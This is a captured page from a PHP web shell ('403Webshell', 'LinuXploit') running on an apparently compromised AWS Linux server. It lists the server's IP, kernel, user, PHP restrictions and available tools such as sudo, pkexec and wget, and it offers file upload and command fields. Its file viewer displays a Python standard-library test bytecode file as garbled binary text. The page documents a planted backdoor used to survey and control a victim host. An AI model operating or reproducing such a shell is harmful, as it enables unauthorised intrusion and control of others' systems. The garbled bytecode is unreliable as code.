403Webshell
Server IP : 3.111.61.48  /  Your IP : 216.73.216.197
Web Server : Apache
System : Linux ip-10-0-5-176 6.8.0-1057-aws #60~22.04.1-Ubuntu SMP Wed May 27 08:16:59 UTC 2026 x86_64
User : ubuntu ( 1000)
PHP Version : 8.2.31
Disable Function : exec,passthru,shell_exec,system
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/lib/python3.10/distutils/tests/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/lib/python3.10/distutils/tests/__pycache__/test_build_scripts.cpython-310.pyc
o

�9j	�@s�dZddlZddlZddlmZddlmZddlmZddl	m
Z
ddlmZGdd	�d	e
j
e
jej�Zd
d�ZedkrDee��dSdS)
z*Tests for distutils.command.build_scripts.�N)�
build_scripts)�Distribution)�	sysconfig)�support)�run_unittestc@s<eZdZdd�Zdd�Zdd�Zdd�Zd	d
�Zdd�Zd
S)�BuildScriptsTestCasecCsJ|�dg�}|�|j�|�|j�|��|�|j�|�|jd�dS)Nz/foo/bar)�get_build_scripts_cmd�assertFalse�force�assertIsNone�	build_dir�finalize_options�
assertTrue�assertEqual)�self�cmd�r�9/usr/lib/python3.10/distutils/tests/test_build_scripts.py�test_default_settingssz*BuildScriptsTestCase.test_default_settingscsh|���|��}|���}|�|�fdd�|D��}|��|��t�|�}|D]}|�||�q)dS)Nc�g|]	}tj��|��qSr��os�path�join��.0�fn��sourcerr�
<listcomp>"��z3BuildScriptsTestCase.test_build.<locals>.<listcomp>)�mkdtemp�write_sample_scriptsrr
�runr�listdir�assertIn)r�target�expectedr�built�namerrr�
test_builds

��
�zBuildScriptsTestCase.test_buildcCs4ddl}t�}||_tj|d|jd�|jd<t|�S)Nr�)rr
�
executable�build)�sysr�scriptsr�DummyCommandr,�command_objr)rr&r/r.�distrrrr+s�z*BuildScriptsTestCase.get_build_scripts_cmdcCsPg}|�d�|�|dd�|�d�|�|dd�|�d�|�|dd�|S)Nz
script1.pyz@#! /usr/bin/env python2.3
# bogus script w/ Python sh-bang
pass
z
script2.pyz8#!/usr/bin/python
# bogus script w/ Python sh-bang
pass
zshell.shz1#!/bin/sh
# bogus shell script w/ sh-bang
exit 0
)�append�write_script)r�dirr'rrrr"6s
�
�
�z)BuildScriptsTestCase.write_sample_scriptscCs8ttj�||�d�}z|�|�W|��dS|��w)N�w)�openrrr�write�close)rr5r)�text�frrrr4Isz!BuildScriptsTestCase.write_scriptc	s�|���|��}|���}|�|�fdd�|D��}|��t���d�}dtjd<z|��W|dur9|tjd<n
|durC|tjd<wt	�
|�}|D]}|�||�qKdS)NcrrrrrrrrWr z9BuildScriptsTestCase.test_version_int.<locals>.<listcomp>�VERSION�)r!r"rr
r�get_config_vars�get�_config_varsr#rr$r%)rr&r'r�oldr(r)rrr�test_version_intPs,

��


��
�z%BuildScriptsTestCase.test_version_intN)	�__name__�
__module__�__qualname__rr*rr"r4rBrrrrrs
rcCs
t�t�S)N)�unittest�	makeSuiterrrrr�
test_suitels
rH�__main__)�__doc__rrF�distutils.command.build_scriptsr�distutils.corer�	distutilsr�distutils.testsr�test.supportr�TempdirManager�LoggingSilencer�TestCaserrHrCrrrr�<module>s �^�

Youez - 2016 - github.com/yon3zu
LinuXploit